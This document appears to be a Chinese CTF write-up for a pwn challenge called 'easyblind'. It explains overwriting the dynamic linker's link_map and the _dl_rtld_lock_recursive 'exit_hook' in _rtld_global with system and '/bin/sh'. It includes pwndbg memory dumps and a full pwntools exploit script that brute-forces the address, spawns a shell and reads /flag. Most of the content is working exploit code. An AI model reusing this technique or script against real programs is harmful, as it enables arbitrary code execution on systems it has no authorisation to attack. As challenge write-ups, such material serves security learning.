date | challenge | tags | |||
---|---|---|---|---|---|
2024-08-26 10:40 |
easyblind |
|
和 nightmare 不同,这题比较麻烦,因为写 _rtld_global
write 字符串篇偏移是 62,而 _r_debug+62
刚好指向了 link_map:main
的 l_name+6
,如果写字符串则会修改 l_name
和 l_ld
,但是这两个东西并不会影响到延迟绑定程序。下面数据中 0x7fa2d9c11190 是 link_map
,加 8 则是 l_name
。
pwndbg> telescope 0x7fa2d9c11190
00:0000│ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0
01:0008│ r10-6 0x7fa2d9c11198 ◂— 0x78657fa2d9c11730
02:0010│ 0x7fa2d9c111a0 ◂— 0x558449007469 /_ 'it' _/
03:0018│ 0x7fa2d9c111a8 —▸ 0x7fa2d9c11740 —▸ 0x7fffd33b9000 ◂— jg 0x7fffd33b9047
04:0020│ 0x7fa2d9c111b0 ◂— 0x0
05:0028│ 0x7fa2d9c111b8 —▸ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0
06:0030│ 0x7fa2d9c111c0 ◂— 0x0
07:0038│ 0x7fa2d9c111c8 —▸ 0x7fa2d9c11718 —▸ 0x7fa2d9c11730 ◂— 0x0
最后是打 exit_hook
:
_dl_rtld_lock_recursive = 0x7fda65ae3150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7fda65ae3160 <rtld_lock_default_unlock_recursive>,
其中此刻的 system 地址为 0x7fda65940290,需要爆破
#!/usr/bin/env python3
from pwn import *
# context.log_level = "debug"
p_addr = lambda name, addr: print(f"{name}: {hex(addr)}")
ru = lambda s: p.recvuntil(s)
rut = lambda s, t: p.recvuntil(s, timeout=t)
r = lambda n: p.recv(n)
sla = lambda d, b: p.sendlineafter(d, b)
sa = lambda d, b: p.sendafter(d, b)
sl = lambda s: p.sendline(s)
sls = lambda s: p.sendline(str(s).encode())
ss = lambda s: p.send(str(s).encode())
s = lambda s: p.send(s)
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
it = lambda: p.interactive()
def write_one(addr, data):
tmp = b""
for i in range(len(data)):
tmp += p64(addr + i) + p8(data[i])
return tmp
p = process("./pwn")
# io = remote("node4.buuoj.cn", 29129)
ld = 0x265000 - 0x10
# ld = 0x26b000 - 0x10
link_base_addr = ld + 0x1190
link_dyn_str = link_base_addr + 0x68
fake_str = ld + 0x1160
exit_hook = ld + 0xF68
exit_hook_rdi = ld + 0x968
write_st_name = 62
payload = b""
payload += p64(link_base_addr) + p8(0x18)
str_ = b"\x90\x62\xb6"
# str_ = b"\x90\x72\xe2"
payload += write_one(exit_hook, str_)
str_ = b"/bin/sh\x00"
payload += write_one(exit_hook_rdi, str_)
str_ = b"exit\x00"
payload += write_one(fake_str + write_st_name, str_)
payload += p64(link_dyn_str) + p8(0xB8)
count = 0
while True:
try:
p = process("./pwn")
s(payload)
sl(b"echo ok")
p.recvuntil(b"ok")
sl(b"cat /flag")
p.interactive()
break
except Exception as e:
p.close()
count += 1
print(count)
continue
it()